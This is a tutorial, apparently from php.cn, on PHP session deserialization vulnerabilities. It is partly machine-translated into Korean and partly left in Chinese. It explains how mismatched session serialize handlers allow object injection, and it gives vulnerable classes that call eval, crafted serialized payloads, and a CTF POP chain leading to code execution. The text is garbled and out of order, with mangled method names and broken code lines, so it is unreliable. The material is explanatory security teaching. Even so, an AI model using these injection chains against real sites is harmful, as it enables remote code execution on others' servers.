이번에는 PHP의 SESSION 역직렬화 사용에 대한 자세한 설명을 가져왔습니다. PHP의 SESSION 역직렬화 사용 시 주의사항은 무엇인가요? 다음은 실제 사례입니다.
php.ini에는 세 가지 구성 항목이 있습니다:
session.save_path="" --세션의 저장 경로 설정session.save_handler="" --원하는 경우 사용자 정의 저장 기능 설정 use 이 함수는 PHP의 내장 세션 저장 메커니즘(데이터베이스 등) 외부에서 사용할 수 있습니다.
session.auto_start bolen - 세션 모듈이 요청 시작 시 세션을 시작할지 여부를 지정합니다. 기본값은 시작하지 않는 경우 0입니다.
session.serialize_handler 문자열 - 정의에 사용됩니다. 직렬화/역직렬화할 프로세서의 이름입니다. 기본적으로 php가 사용됩니다. 위 옵션은 PHP의 세션 저장 및 시퀀스 저장과 관련이 있습니다.
xampp 구성 요소를 사용한 설치에서 위 구성 항목은 다음과 같이 설정됩니다.
session.save_path="D:xampptmp"는 모든 세션 파일이 xampp/tmp 아래에 저장됨을 나타냅니다.
session.auto_start=0은 세션이 기본적으로 시작되지 않음을 나타냅니다.
session.serialize_handler=php는 세션의 기본 직렬화 엔진이 PHP 직렬화 엔진을 사용함을 나타냅니다.
위 구성에서 session.serialize_handler는 세션 시퀀스 엔진을 설정하는 데에는 기본 PHP 엔진 외에 다른 엔진에 해당하는 세션의 저장 방법이 다릅니다.
php_binary: 저장 방식은 키 이름의 길이에 해당하는 ASCII 문자 + 키 이름 + serialize() 함수에 의해 직렬화된 값
php_serialize 값(php>5.5.4): 저장 방법은 serialize() 함수로 직렬화된 값입니다.
PHP에서 수정하려는 경우에는 기본적으로 PHP 엔진이 사용됩니다. 다른 엔진에 적용하려면 ini_set('session.serialize_handler', '설정해야 하는 엔진'); 코드만 추가하면 됩니다. 샘플 코드는 다음과 같습니다.
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); // do something
PHP의 세션 내용은 메모리에 저장되지 않고 파일 형태로 저장됩니다. 저장 방법은 session.save_handler 구성 항목에 따라 결정됩니다. , 기본값은 파일로 저장하는 것입니다.
우리 환경이 xampp이라고 가정하면 기본 구성은 위와 같습니다.
기본 구성에서:
<?php session_start() $_SESSION['name'] = 'spoock'; var_dump(); ?>
PHPSESSID의 값은 jo86ud4jfvu81mbg28sl2s56c2이고, xampp/tmp에 저장된 파일 이름은 sess_jo86ud4jfvu81mbg28sl2s56c2이며, 의 내용 파일 이름은 s:6:"spoock";입니다. name은 키 값이고, s:6:"spoock"는 serialize("spoock")의 결과입니다.
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>
php_binary 엔진 아래:
<?php ini_set('session.serialize_handler', 'php_binary'); session_start(); $_SESSION['name'] = 'spoock'; var_dump(); ?>
SESSION 파일의 내용은 names:6:"spoock";입니다. 이름의 길이가 4이므로 4는 ASCII 테이블의 EOT에 해당합니다. php_binary의 저장 규칙에 따르면 마지막 것은 names:6:"spoock";입니다. (갑자기 웹페이지에서 ASCII 값이 4인 문자를 표시할 수 없다는 사실을 발견했습니다. ASCII 표를 직접 확인해 보세요.)
test.php
<?php
class syclover{
var $func="";
function construct() {
$this->func = "phpinfo()";
}
function wakeup(){
eval($this->func);
}
}
unserialize($_GET['a']);
?>11일 들어오는 매개변수의 행이 직렬화됩니다. 특정 문자열을 전달하고 이를 syclover의 예로 역직렬화한 다음 eval() 메서드를 실행할 수 있습니다. localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}를 방문합니다. 그러면 역직렬화를 통해 얻은 콘텐츠는 다음과 같습니다.
object(syclover)[1] public 'func' => string 'echo "spoock";' (length=14)
마지막 페이지 출력은 spoock이며, 이는 우리가 정의한 echo "spoock" 메서드가 최종적으로 실행되었음을 나타냅니다.
이것은 간단한 직렬화 취약점에 대한 데모입니다PHP中的Session的实现是没有的问题，危害主要是由于程序员的Session使用不当而引起的。 上述的$_SESSION的数据使用php_serialize，那么最后的存储的内容就是 但是我们在进行读取的时候，选择的是php，那么最后读取的内容是: 这是因为当使用php引擎的时候，php引擎会以|作为作为key和value的分隔符，那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key，将O:11:"PeopleClass":0:{}作为value，然后进行反序列化，最后就会得到PeopleClas这个类。 实际利用 存在s1.php和us2.php，2个文件所使用的SESSION的引擎不一样，就形成了一个漏洞、 us2.php,使用php来处理session 当访问s1.php时，提交如下的数据： localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";} 此时传入的数据会按照php_serialize来进行序列化。 CTF 在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下： 通过代码发现，我们最终是要通过foo3中的execute来执行我们自定义的函数。 在foo1中的构造函数中定义$varr的值为foo2的实例，在foo2中定义$obj为foo3的实例，在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样，会导致数据无法正确第反序列化。通过精心构造的数据包，就可以绕过程序的验证或者是执行一些系统的方法。例如:$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}。array (size=1)
'a:1:{s:6:"spoock";s:24:"' =>
object(PHP_Incomplete_Class)[1]
public 'PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。
s1.php，使用php_serialize来处理session<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
var $hi;
function construct(){
$this->hi = 'phpinfo();';
}
function destruct() {
eval($this->hi);
}
}
此时访问us2.php时，页面输出，spoock成功执行了我们构造的函数。因为在访问us2.php时，程序会按照php来反序列化SESSION中的数据，此时就会反序列化伪造的数据，就会实例化lemon对象，最后就会执行析构函数中的eval()方法。class.php
<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));//show_source(FILE);
class foo1{ public $varr; function construct(){ $this->varr = "index.php"; } function destruct(){ if(file_exists($this->varr)){ echo "<br>文件".$this->varr."存在<br>"; } echo "<br>这是foo1的析构函数<br>"; }}
class foo2{ public $varr; public $obj; function construct(){ $this->varr = '1234567890'; $this->obj = null; } function toString(){ $this->obj->execute(); return $this->varr; } function desctuct(){ echo "<br>这是foo2的析构函数<br>"; }}
class foo3{ public $varr; function execute(){ eval($this->varr); } function desctuct(){ echo "<br>这是foo3的析构函数<br>"; }}
?>index.php
<?php
ini_set('session.serialize_handler', 'php');
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>
那么我们首先在本地搭建环境，构造我们需要执行的自定义的函数。如下：
myindex.php<?phpclass foo3{ public $varr='echo "spoock";'; function execute(){ eval($this->varr); }}class foo2{ public $varr; public $obj; function construct(){ $this->varr = '1234567890'; $this->obj = new foo3(); } function toString(){ $this->obj->execute(); return $this->varr; }}
class foo1{ public $varr; function construct(){ $this->varr = new foo2(); }}
$obj = new foo1();print_r(serialize($obj));?>O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}
这样当上面的序列话的值写入到服务器端，然后再访问服务器的index.php，最终就会执行我们预先定义的echo "spoock";的方法了。
写入的方式主要是利用PHP中Session Upload Progress来进行设置，具体为，在上传文件时，如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量，就可以将filename的值赋值到session中
最后就会将文件名写入到session中，具体的实现细节可以参考PHP手册。
但是我在进行本地测试的时候，发现无法实现安恒这道题目所实现的效果，但是最终的原理是一样的。
总结
通过对PHP中的SESSION的分析，对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识，也有助于程序员加强在PHP中的SESSION机制的理解。
相信看了本文案例你已经掌握了方法，更多精彩请关注php中文网其它相关文章！
推荐阅读：
위 내용은 PHP의 SESSION 역직렬화 사용법에 대한 자세한 설명의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!
![[웹 프런트엔드] Node.js 빠른 시작](https://img.php.cn/upload/course/000/000/067/662b5d34ba7c0227.png)
